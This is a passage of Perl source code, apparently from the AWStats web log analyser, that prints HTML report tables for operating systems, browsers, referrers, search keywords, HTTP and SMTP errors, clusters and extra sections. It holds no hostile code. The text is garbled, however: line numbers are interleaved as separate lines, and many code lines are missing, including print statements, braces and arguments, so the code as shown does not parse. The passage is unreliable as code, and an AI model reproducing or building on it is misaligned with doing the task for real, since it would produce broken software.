print "<td> </td></tr>\n";
18551
#----------------------------
18552
if ($ShowOSStats) {
18553
if ($Debug) { debug( "ShowOSStats", 2 ); }
18554
print "$Center<a name=\"os\"> </a><br />\n";
18557
OSLOOP: foreach my $key ( keys %_os_h ) {
18558
$Totalh += $_os_h{$key};
18559
foreach my $family ( keys %OSFamily ) {
18560
if ( $key =~ /^$family/i ) {
18561
$new_os_h{"${family}cumul"} += $_os_h{$key};
18565
$new_os_h{$key} += $_os_h{$key};
18568
"$Message[59] ($Message[77] $MaxNbOf{'OsShown'}) - <a href=\""
18570
$ENV{'GATEWAY_INTERFACE'}
18572
? XMLEncode("$AWScript?${NewLinkParams}output=osdetail")
18573
: "$PROG$StaticLinks.osdetail.$StaticExt"
18575
. "\"$NewLinkTarget>$Message[80]/$Message[58]</a> - <a href=\""
18577
$ENV{'GATEWAY_INTERFACE'}
18579
? XMLEncode("$AWScript?${NewLinkParams}output=unknownos")
18580
: "$PROG$StaticLinks.unknownos.$StaticExt"
18582
. "\"$NewLinkTarget>$Message[0]</a>";
18583
&tab_head( "$title", 19, 0, 'os' );
18585
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th>$Message[59]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
18588
&BuildKeyList( $MaxNbOf{'OsShown'}, $MinHit{'Os'}, \%new_os_h,
18590
foreach my $key (@keylist) {
18593
$p = int( $new_os_h{$key} / $Totalh * 1000 ) / 10;
18596
if ( $key eq 'Unknown' ) {
18598
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
18599
. "><img src=\"$DirIcons\/os\/unknown.png\""
18601
. " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td>$_os_h{$key}</td><td>$p</td></tr>\n";
18604
my $keywithoutcumul = $key;
18605
$keywithoutcumul =~ s/cumul$//i;
18606
my $libos = $OSHashLib{$keywithoutcumul}
18607
|| $keywithoutcumul;
18608
my $nameicon = $keywithoutcumul;
18609
$nameicon =~ s/[^\w]//g;
18610
if ( $OSFamily{$keywithoutcumul} ) {
18611
$libos = "<b>" . $OSFamily{$keywithoutcumul} . "</b>";
18614
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
18615
. "><img src=\"$DirIcons\/os\/$nameicon.png\""
18617
. " /></td><td class=\"aws\">$libos</td><td>$new_os_h{$key}</td><td>$p</td></tr>\n";
18619
$total_h += $new_os_h{$key};
18623
debug( "Total real / shown : $Totalh / $total_h", 2 );
18625
$rest_h = $Totalh - $total_h;
18626
if ( $rest_h > 0 ) {
18628
if ($Totalh) { $p = int( $rest_h / $Totalh * 1000 ) / 10; }
18630
print "<td> </td>";
18632
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td><td>$rest_h</td>";
18633
print "<td>$p %</td></tr>\n";
18639
#----------------------------
18640
if ($ShowBrowsersStats) {
18641
if ($Debug) { debug( "ShowBrowsersStats", 2 ); }
18642
print "$Center<a name=\"browsers\"> </a><br />\n";
18644
my %new_browser_h = ();
18645
BROWSERLOOP: foreach my $key ( keys %_browser_h ) {
18646
$Totalh += $_browser_h{$key};
18647
foreach my $family ( keys %BrowsersFamily ) {
18648
if ( $key =~ /^$family/i ) {
18649
$new_browser_h{"${family}cumul"} += $_browser_h{$key};
18653
$new_browser_h{$key} += $_browser_h{$key};
18656
"$Message[21] ($Message[77] $MaxNbOf{'BrowsersShown'}) - <a href=\""
18658
$ENV{'GATEWAY_INTERFACE'}
18660
? XMLEncode("$AWScript?${NewLinkParams}output=browserdetail")
18661
: "$PROG$StaticLinks.browserdetail.$StaticExt"
18663
. "\"$NewLinkTarget>$Message[80]/$Message[58]</a> - <a href=\""
18665
$ENV{'GATEWAY_INTERFACE'}
18667
? XMLEncode("$AWScript?${NewLinkParams}output=unknownbrowser")
18668
: "$PROG$StaticLinks.unknownbrowser.$StaticExt"
18670
. "\"$NewLinkTarget>$Message[0]</a>";
18671
&tab_head( "$title", 19, 0, 'browsers' );
18673
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th>$Message[21]</th><th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
18677
$MaxNbOf{'BrowsersShown'}, $MinHit{'Browser'},
18678
\%new_browser_h, \%new_browser_h
18680
foreach my $key (@keylist) {
18683
$p = int( $new_browser_h{$key} / $Totalh * 1000 ) / 10;
18686
if ( $key eq 'Unknown' ) {
18688
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
18689
. "><img src=\"$DirIcons\/browser\/unknown.png\""
18691
. " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td width=\"80\">?</td><td>$_browser_h{$key}</td><td>$p</td></tr>\n";
18694
my $keywithoutcumul = $key;
18695
$keywithoutcumul =~ s/cumul$//i;
18696
my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul}
18697
|| $keywithoutcumul;
18698
my $nameicon = $BrowsersHashIcon{$keywithoutcumul}
18700
if ( $BrowsersFamily{$keywithoutcumul} ) {
18701
$libbrowser = "<b>$libbrowser</b>";
18704
. ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
18705
. "><img src=\"$DirIcons\/browser\/$nameicon.png\""
18707
. " /></td><td class=\"aws\">"
18708
. ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
18710
. ( $PageDir eq 'rtl' ? "</span>" : "" )
18713
$BrowsersHereAreGrabbers{$key}
18714
? "<b>$Message[112]</b>"
18717
. "</td><td>$new_browser_h{$key}</td><td>$p</td></tr>\n";
18719
$total_h += $new_browser_h{$key};
18723
debug( "Total real / shown : $Totalh / $total_h", 2 );
18725
$rest_h = $Totalh - $total_h;
18726
if ( $rest_h > 0 ) {
18728
if ($Totalh) { $p = int( $rest_h / $Totalh * 1000 ) / 10; }
18730
print "<td> </td>";
18732
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td><td> </td><td>$rest_h</td>";
18733
print "<td>$p %</td></tr>\n";
18739
#----------------------------
18740
if ($ShowScreenSizeStats) {
18741
if ($Debug) { debug( "ShowScreenSizeStats", 2 ); }
18742
print "$Center<a name=\"screensizes\"> </a><br />\n";
18744
foreach ( keys %_screensize_h ) { $Totalh += $_screensize_h{$_}; }
18746
"$Message[135] ($Message[77] $MaxNbOf{'ScreenSizesShown'})";
18747
&tab_head( "$title", 0, 0, 'screensizes' );
18749
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[135]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
18752
&BuildKeyList( $MaxNbOf{'ScreenSizesShown'},
18753
$MinHit{'ScreenSize'}, \%_screensize_h, \%_screensize_h );
18755
foreach my $key (@keylist) {
18758
$p = int( $_screensize_h{$key} / $Totalh * 1000 ) / 10;
18761
$total_h += $_screensize_h{$key} || 0;
18763
if ( $key eq 'Unknown' ) {
18765
"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
18766
print "<td>$p</td>";
18769
my $screensize = $key;
18770
print "<td class=\"aws\">$screensize</td>";
18771
print "<td>$p</td>";
18776
$rest_h = $Totalh - $total_h;
18777
if ( $rest_h > 0 ) { # All others sessions
18779
if ($Totalh) { $p = int( $rest_h / $Totalh * 1000 ) / 10; }
18781
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
18782
print "<td>" . ( $rest_h ? "$p %" : " " ) . "</td>";
18788
print "\n<a name=\"refering\"> </a>\n\n";
18791
#---------------------------
18792
if ($ShowOriginStats) {
18793
if ($Debug) { debug( "ShowOriginStats", 2 ); }
18794
print "$Center<a name=\"referer\"> </a><br />\n";
18796
foreach ( 0 .. 5 ) {
18798
( $_ != 4 || $IncludeInternalLinksInOriginSection )
18803
foreach ( 0 .. 5 ) {
18805
( $_ != 4 || $IncludeInternalLinksInOriginSection )
18809
&tab_head( $Message[36], 19, 0, 'referer' );
18810
my @p_p = ( 0, 0, 0, 0, 0, 0 );
18811
if ( $Totalp > 0 ) {
18812
$p_p[0] = int( $_from_p[0] / $Totalp * 1000 ) / 10;
18813
$p_p[1] = int( $_from_p[1] / $Totalp * 1000 ) / 10;
18814
$p_p[2] = int( $_from_p[2] / $Totalp * 1000 ) / 10;
18815
$p_p[3] = int( $_from_p[3] / $Totalp * 1000 ) / 10;
18816
$p_p[4] = int( $_from_p[4] / $Totalp * 1000 ) / 10;
18817
$p_p[5] = int( $_from_p[5] / $Totalp * 1000 ) / 10;
18819
my @p_h = ( 0, 0, 0, 0, 0, 0 );
18820
if ( $Totalh > 0 ) {
18821
$p_h[0] = int( $_from_h[0] / $Totalh * 1000 ) / 10;
18822
$p_h[1] = int( $_from_h[1] / $Totalh * 1000 ) / 10;
18823
$p_h[2] = int( $_from_h[2] / $Totalh * 1000 ) / 10;
18824
$p_h[3] = int( $_from_h[3] / $Totalh * 1000 ) / 10;
18825
$p_h[4] = int( $_from_h[4] / $Totalh * 1000 ) / 10;
18826
$p_h[5] = int( $_from_h[5] / $Totalh * 1000 ) / 10;
18829
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[37]</th>";
18830
if ( $ShowOriginStats =~ /P/i ) {
18832
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
18834
if ( $ShowOriginStats =~ /H/i ) {
18836
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
18840
#------- Referrals by direct address/bookmark/link in email/etc...
18841
print "<tr><td class=\"aws\"><b>$Message[38]</b></td>";
18842
if ( $ShowOriginStats =~ /P/i ) {
18844
. ( $_from_p[0] ? $_from_p[0] : " " )
18846
. ( $_from_p[0] ? "$p_p[0] %" : " " ) . "</td>";
18848
if ( $ShowOriginStats =~ /H/i ) {
18850
. ( $_from_h[0] ? $_from_h[0] : " " )
18852
. ( $_from_h[0] ? "$p_h[0] %" : " " ) . "</td>";
18856
#------- Referrals by search engines
18859
. "><td class=\"aws\"><b>$Message[40]</b> - <a href=\""
18861
$ENV{'GATEWAY_INTERFACE'}
18863
? XMLEncode("$AWScript?${NewLinkParams}output=refererse")
18864
: "$PROG$StaticLinks.refererse.$StaticExt"
18866
. "\"$NewLinkTarget>$Message[80]</a><br />\n";
18867
if ( scalar keys %_se_referrals_h ) {
18873
$MaxNbOf{'RefererShown'},
18877
( scalar keys %_se_referrals_p )
18878
? \%_se_referrals_p
18879
: \%_se_referrals_h
18882
foreach my $key (@keylist) {
18883
my $newreferer = $SearchEnginesHashLib{$key}
18885
print "<tr><td class=\"aws\">- $newreferer</td>";
18888
$_se_referrals_p{$key} ? $_se_referrals_p{$key} : '0' )
18890
print "<td>$_se_referrals_h{$key}</td>";
18892
$total_p += $_se_referrals_p{$key};
18893
$total_h += $_se_referrals_h{$key};
18898
"Total real / shown : $TotalSearchEnginesPages / $total_p - $TotalSearchEnginesHits / $total_h",
18902
$rest_p = $TotalSearchEnginesPages - $total_p;
18903
$rest_h = $TotalSearchEnginesHits - $total_h;
18904
if ( $rest_p > 0 || $rest_h > 0 ) {
18906
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">- $Message[2]</span></td>";
18907
print "<td>$rest_p</td>";
18908
print "<td>$rest_h</td>";
18914
if ( $ShowOriginStats =~ /P/i ) {
18915
print "<td valign=\"top\">"
18916
. ( $_from_p[2] ? $_from_p[2] : " " )
18917
. "</td><td valign=\"top\">"
18918
. ( $_from_p[2] ? "$p_p[2] %" : " " ) . "</td>";
18920
if ( $ShowOriginStats =~ /H/i ) {
18921
print "<td valign=\"top\">"
18922
. ( $_from_h[2] ? $_from_h[2] : " " )
18923
. "</td><td valign=\"top\">"
18924
. ( $_from_h[2] ? "$p_h[2] %" : " " ) . "</td>";
18928
#------- Referrals by external HTML link
18931
. "><td class=\"aws\"><b>$Message[41]</b> - <a href=\""
18933
$ENV{'GATEWAY_INTERFACE'}
18935
? XMLEncode("$AWScript?${NewLinkParams}output=refererpages")
18936
: "$PROG$StaticLinks.refererpages.$StaticExt"
18938
. "\"$NewLinkTarget>$Message[80]</a><br />\n";
18939
if ( scalar keys %_pagesrefs_h ) {
18945
$MaxNbOf{'RefererShown'},
18949
( scalar keys %_pagesrefs_p )
18954
foreach my $key (@keylist) {
18955
print "<tr><td class=\"aws\">- ";
18956
&ShowURLInfo($key);
18959
. ( $_pagesrefs_p{$key} ? $_pagesrefs_p{$key} : '0' )
18961
print "<td>$_pagesrefs_h{$key}</td>";
18963
$total_p += $_pagesrefs_p{$key};
18964
$total_h += $_pagesrefs_h{$key};
18969
"Total real / shown : $TotalRefererPages / $total_p - $TotalRefererHits / $total_h",
18973
$rest_p = $TotalRefererPages - $total_p;
18974
$rest_h = $TotalRefererHits - $total_h;
18975
if ( $rest_p > 0 || $rest_h > 0 ) {
18977
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">- $Message[2]</span></td>";
18978
print "<td>$rest_p</td>";
18979
print "<td>$rest_h</td>";
18985
if ( $ShowOriginStats =~ /P/i ) {
18986
print "<td valign=\"top\">"
18987
. ( $_from_p[3] ? $_from_p[3] : " " )
18988
. "</td><td valign=\"top\">"
18989
. ( $_from_p[3] ? "$p_p[3] %" : " " ) . "</td>";
18991
if ( $ShowOriginStats =~ /H/i ) {
18992
print "<td valign=\"top\">"
18993
. ( $_from_h[3] ? $_from_h[3] : " " )
18994
. "</td><td valign=\"top\">"
18995
. ( $_from_h[3] ? "$p_h[3] %" : " " ) . "</td>";
18999
#------- Referrals by internal HTML link
19000
if ($IncludeInternalLinksInOriginSection) {
19001
print "<tr><td class=\"aws\"><b>$Message[42]</b></td>";
19002
if ( $ShowOriginStats =~ /P/i ) {
19004
. ( $_from_p[4] ? $_from_p[4] : " " )
19006
. ( $_from_p[4] ? "$p_p[4] %" : " " ) . "</td>";
19008
if ( $ShowOriginStats =~ /H/i ) {
19010
. ( $_from_h[4] ? $_from_h[4] : " " )
19012
. ( $_from_h[4] ? "$p_h[4] %" : " " ) . "</td>";
19017
#------- Referrals by news group
19018
#print "<tr><td class=\"aws\"><b>$Message[107]</b></td>";
19019
#if ($ShowOriginStats =~ /P/i) { print "<td>".($_from_p[5]?$_from_p[5]:" ")."</td><td>".($_from_p[5]?"$p_p[5] %":" ")."</td>"; }
19020
#if ($ShowOriginStats =~ /H/i) { print "<td>".($_from_h[5]?$_from_h[5]:" ")."</td><td>".($_from_h[5]?"$p_h[5] %":" ")."</td>"; }
19022
#------- Unknown origin
19023
print "<tr><td class=\"aws\"><b>$Message[39]</b></td>";
19024
if ( $ShowOriginStats =~ /P/i ) {
19026
. ( $_from_p[1] ? $_from_p[1] : " " )
19028
. ( $_from_p[1] ? "$p_p[1] %" : " " ) . "</td>";
19030
if ( $ShowOriginStats =~ /H/i ) {
19032
. ( $_from_h[1] ? $_from_h[1] : " " )
19034
. ( $_from_h[1] ? "$p_h[1] %" : " " ) . "</td>";
19044
# 5: Newsgroup (deprecated)
19047
print "\n<a name=\"keys\"> </a>\n\n";
19049
# BY SEARCH KEYWORDS AND/OR KEYPHRASES
19050
#-------------------------------------
19051
if ($ShowKeyphrasesStats) {
19052
print "$Center<a name=\"keyphrases\"> </a>";
19054
if ($ShowKeywordsStats) {
19055
print "$Center<a name=\"keywords\"> </a>";
19057
if ( $ShowKeyphrasesStats || $ShowKeywordsStats ) { print "<br />\n"; }
19058
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
19060
"<table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\"><tr>";
19062
if ($ShowKeyphrasesStats) {
19065
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
19066
print "<td width=\"50%\" valign=\"top\">\n";
19068
if ($Debug) { debug( "ShowKeyphrasesStats", 2 ); }
19070
"$Message[120] ($Message[77] $MaxNbOf{'KeyphrasesShown'})<br /><a href=\""
19072
$ENV{'GATEWAY_INTERFACE'}
19074
? XMLEncode("$AWScript?${NewLinkParams}output=keyphrases")
19075
: "$PROG$StaticLinks.keyphrases.$StaticExt"
19077
. "\"$NewLinkTarget>$Message[80]</a>",
19079
( $ShowKeyphrasesStats && $ShowKeywordsStats ) ? 95 : 70,
19082
print "<tr bgcolor=\"#$color_TableBGRowTitle\""
19084
. "><th>$TotalDifferentKeyphrases $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
19087
&BuildKeyList( $MaxNbOf{'KeyphrasesShown'},
19088
$MinHit{'Keyphrase'}, \%_keyphrases, \%_keyphrases );
19089
foreach my $key (@keylist) {
19092
# Convert coded keywords (utf8,...) to be correctly reported in HTML page.
19093
if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
19095
DecodeKey_decodeutfkeys(
19096
$key, $PageCode || 'iso-8859-1'
19100
else { $mot = CleanXSS( DecodeEncodedString($key) ); }
19102
if ($TotalKeyphrases) {
19104
int( $_keyphrases{$key} / $TotalKeyphrases * 1000 ) / 10;
19106
print "<tr><td class=\"aws\">"
19108
. "</td><td>$_keyphrases{$key}</td><td>$p %</td></tr>\n";
19109
$total_s += $_keyphrases{$key};
19113
debug( "Total real / shown : $TotalKeyphrases / $total_s", 2 );
19115
$rest_s = $TotalKeyphrases - $total_s;
19116
if ( $rest_s > 0 ) {
19118
if ($TotalKeyphrases) {
19119
$p = int( $rest_s / $TotalKeyphrases * 1000 ) / 10;
19122
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[124]</span></td><td>$rest_s</td>";
19123
print "<td>$p %</td></tr>\n";
19126
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
19130
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
19131
print "<td> </td>";
19133
if ($ShowKeywordsStats) {
19136
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
19137
print "<td width=\"50%\" valign=\"top\">\n";
19139
if ($Debug) { debug( "ShowKeywordsStats", 2 ); }
19141
"$Message[121] ($Message[77] $MaxNbOf{'KeywordsShown'})<br /><a href=\""
19143
$ENV{'GATEWAY_INTERFACE'}
19145
? XMLEncode("$AWScript?${NewLinkParams}output=keywords")
19146
: "$PROG$StaticLinks.keywords.$StaticExt"
19148
. "\"$NewLinkTarget>$Message[80]</a>",
19150
( $ShowKeyphrasesStats && $ShowKeywordsStats ) ? 95 : 70,
19153
print "<tr bgcolor=\"#$color_TableBGRowTitle\""
19155
. "><th>$TotalDifferentKeywords $Message[13]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
19158
&BuildKeyList( $MaxNbOf{'KeywordsShown'},
19159
$MinHit{'Keyword'}, \%_keywords, \%_keywords );
19160
foreach my $key (@keylist) {
19163
# Convert coded keywords (utf8,...) to be correctly reported in HTML page.
19164
if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
19166
DecodeKey_decodeutfkeys(
19167
$key, $PageCode || 'iso-8859-1'
19171
else { $mot = CleanXSS( DecodeEncodedString($key) ); }
19173
if ($TotalKeywords) {
19174
$p = int( $_keywords{$key} / $TotalKeywords * 1000 ) / 10;
19176
print "<tr><td class=\"aws\">"
19178
. "</td><td>$_keywords{$key}</td><td>$p %</td></tr>\n";
19179
$total_s += $_keywords{$key};
19183
debug( "Total real / shown : $TotalKeywords / $total_s", 2 );
19185
$rest_s = $TotalKeywords - $total_s;
19186
if ( $rest_s > 0 ) {
19188
if ($TotalKeywords) {
19189
$p = int( $rest_s / $TotalKeywords * 1000 ) / 10;
19192
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td><td>$rest_s</td>";
19193
print "<td>$p %</td></tr>\n";
19196
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
19200
if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) {
19201
print "</tr></table>\n";
19204
print "\n<a name=\"other\"> </a>\n\n";
19207
#----------------------------
19208
if ($ShowMiscStats) {
19209
if ($Debug) { debug( "ShowMiscStats", 2 ); }
19210
print "$Center<a name=\"misc\"> </a><br />\n";
19211
my $title = "$Message[139]";
19212
&tab_head( "$title", 19, 0, 'misc' );
19214
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[139]</th>";
19215
print "<th width=\"100\"> </th>";
19216
print "<th width=\"100\"> </th>";
19219
'AddToFavourites' => $Message[137],
19220
'JavascriptDisabled' => $Message[168],
19221
'JavaEnabled' => $Message[140],
19222
'DirectorSupport' => $Message[141],
19223
'FlashSupport' => $Message[142],
19224
'RealPlayerSupport' => $Message[143],
19225
'QuickTimeSupport' => $Message[144],
19226
'WindowsMediaPlayerSupport' => $Message[145],
19227
'PDFSupport' => $Message[146]
19230
foreach my $key (@MiscListOrder) {
19231
my $mischar = substr( $key, 0, 1 );
19232
if ( $ShowMiscStats !~ /$mischar/i ) { next; }
19235
if ( $MiscListCalc{$key} eq 'v' ) { $total = $TotalVisits; }
19236
if ( $MiscListCalc{$key} eq 'u' ) { $total = $TotalUnique; }
19237
if ( $MiscListCalc{$key} eq 'hm' ) {
19238
$total = $_misc_h{'TotalMisc'} || 0;
19242
int( ( $_misc_h{$key} ? $_misc_h{$key} : 0 ) / $total *
19246
print "<td class=\"aws\">"
19247
. ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
19249
. ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
19250
if ( $MiscListCalc{$key} eq 'v' ) {
19252
. ( $_misc_h{$key} || 0 )
19253
. " / $total $Message[12]</td>";
19255
if ( $MiscListCalc{$key} eq 'u' ) {
19257
. ( $_misc_h{$key} || 0 )
19258
. " / $total $Message[18]</td>";
19260
if ( $MiscListCalc{$key} eq 'hm' ) { print "<td>-</td>"; }
19261
print "<td>" . ( $total ? "$p %" : " " ) . "</td>";
19268
#----------------------------
19269
if ($ShowHTTPErrorsStats) {
19270
if ($Debug) { debug( "ShowHTTPErrorsStats", 2 ); }
19271
print "$Center<a name=\"errors\"> </a><br />\n";
19272
my $title = "$Message[32]";
19273
&tab_head( "$title", 19, 0, 'errors' );
19275
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[32]*</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th></tr>\n";
19278
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_errors_h, \%_errors_h );
19280
foreach my $key (@keylist) {
19281
my $p = int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10;
19282
print "<tr" . Tooltip( $key, $key ) . ">";
19283
if ( $TrapInfosForHTTPErrorCodes{$key} ) {
19284
print "<td><a href=\""
19286
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
19288
"$AWScript?${NewLinkParams}output=errors$key")
19289
: "$PROG$StaticLinks.errors$key.$StaticExt"
19291
. "\"$NewLinkTarget>$key</a></td>";
19293
else { print "<td valign=\"top\">$key</td>"; }
19294
print "<td class=\"aws\">"
19296
$httpcodelib{$key} ? $httpcodelib{$key} : 'Unknown error' )
19297
. "</td><td>$_errors_h{$key}</td><td>$p %</td><td>"
19298
. Format_Bytes( $_errors_k{$key} ) . "</td>";
19300
$total_h += $_errors_h{$key};
19303
&tab_end("* $Message[154]");
19307
#----------------------------
19308
if ($ShowSMTPErrorsStats) {
19309
if ($Debug) { debug( "ShowSMTPErrorsStats", 2 ); }
19310
print "$Center<a name=\"errors\"> </a><br />\n";
19311
my $title = "$Message[147]";
19312
&tab_head( "$title", 19, 0, 'errors' );
19314
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[147]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th></tr>\n";
19317
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_errors_h, \%_errors_h );
19319
foreach my $key (@keylist) {
19320
my $p = int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10;
19321
print "<tr" . Tooltip( $key, $key ) . ">";
19322
print "<td valign=\"top\">$key</td>";
19323
print "<td class=\"aws\">"
19325
$smtpcodelib{$key} ? $smtpcodelib{$key} : 'Unknown error' )
19326
. "</td><td>$_errors_h{$key}</td><td>$p %</td><td>"
19327
. Format_Bytes( $_errors_k{$key} ) . "</td>";
19329
$total_h += $_errors_h{$key};
19336
#----------------------------
19337
if ($ShowClusterStats) {
19338
if ($Debug) { debug( "ShowClusterStats", 2 ); }
19339
print "$Center<a name=\"clusters\"> </a><br />\n";
19340
my $title = "$Message[155]";
19341
&tab_head( "$title", 19, 0, 'clusters' );
19343
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[155]</th>";
19344
&ShowClusterInfo('__title__');
19345
if ( $ShowClusterStats =~ /P/i ) {
19347
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
19349
if ( $ShowClusterStats =~ /H/i ) {
19351
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
19353
if ( $ShowClusterStats =~ /B/i ) {
19355
"<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[15]</th>";
19358
$total_p = $total_h = $total_k = 0;
19360
# Cluster feature might have been enable in middle of month so we recalculate
19361
# total for cluster section only, to calculate ratio, instead of using global total
19362
foreach my $key ( keys %_cluster_h ) {
19363
$total_p += int( $_cluster_p{$key} || 0 );
19364
$total_h += int( $_cluster_h{$key} || 0 );
19365
$total_k += int( $_cluster_k{$key} || 0 );
19368
foreach my $key ( keys %_cluster_h ) {
19369
my $p_p = int( $_cluster_p{$key} / $total_p * 1000 ) / 10;
19370
my $p_h = int( $_cluster_h{$key} / $total_h * 1000 ) / 10;
19371
my $p_k = int( $_cluster_k{$key} / $total_k * 1000 ) / 10;
19373
print "<td class=\"aws\">Computer $key</td>";
19374
&ShowClusterInfo($key);
19375
if ( $ShowClusterStats =~ /P/i ) {
19377
. ( $_cluster_p{$key} ? $_cluster_p{$key} : " " )
19378
. "</td><td>$p_p %</td>";
19380
if ( $ShowClusterStats =~ /H/i ) {
19381
print "<td>$_cluster_h{$key}</td><td>$p_h %</td>";
19383
if ( $ShowClusterStats =~ /B/i ) {
19385
. Format_Bytes( $_cluster_k{$key} )
19386
. "</td><td>$p_k %</td>";
19394
# BY EXTRA SECTIONS
19395
#----------------------------
19396
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
19397
if ($Debug) { debug( "ExtraName$extranum", 2 ); }
19398
print "$Center<a name=\"extra$extranum\"> </a><br />";
19399
my $title = $ExtraName[$extranum];
19400
&tab_head( "$title", 19, 0, "extra$extranum" );
19401
print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
19402
print "<th>" . $ExtraFirstColumnTitle[$extranum];
19403
print " - <a href=\""
19405
$ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
19407
"$AWScript?${NewLinkParams}output=allextra$extranum")
19408
: "$PROG$StaticLinks.allextra$extranum.$StaticExt"
19410
. "\"$NewLinkTarget>$Message[80]</a>";
19413
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
19415
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
19417
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
19419
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
19421
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
19423
"<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
19425
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
19426
print "<th width=\"120\">$Message[9]</th>";
19429
$total_p = $total_h = $total_k = 0;
19431
#$max_h=1; foreach (values %_login_h) { if ($_ > $max_h) { $max_h = $_; } }
19432
#$max_k=1; foreach (values %_login_k) { if ($_ > $max_k) { $max_k = $_; } }
19434
if ( $MaxNbOfExtra[$extranum] ) {
19435
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
19437
$MaxNbOfExtra[$extranum],
19438
$MinHitExtra[$extranum],
19439
\%{ '_section_' . $extranum . '_h' },
19440
\%{ '_section_' . $extranum . '_p' }
19445
$MaxNbOfExtra[$extranum],
19446
$MinHitExtra[$extranum],
19447
\%{ '_section_' . $extranum . '_h' },
19448
\%{ '_section_' . $extranum . '_h' }
19455
my %keysinkeylist = ();
19456
foreach my $key (@keylist) {
19457
$keysinkeylist{$key} = 1;
19458
my $firstcol = CleanXSS( DecodeEncodedString($key) );
19459
$total_p += ${ '_section_' . $extranum . '_p' }{$key};
19460
$total_h += ${ '_section_' . $extranum . '_h' }{$key};
19461
$total_k += ${ '_section_' . $extranum . '_k' }{$key};
19464
"<td class=\"aws\">$ExtraFirstColumnFormat[$extranum]</td>",
19465
$firstcol, $firstcol, $firstcol, $firstcol, $firstcol );
19466
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
19468
. ${ '_section_' . $extranum . '_p' }{$key} . "</td>";
19470
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
19472
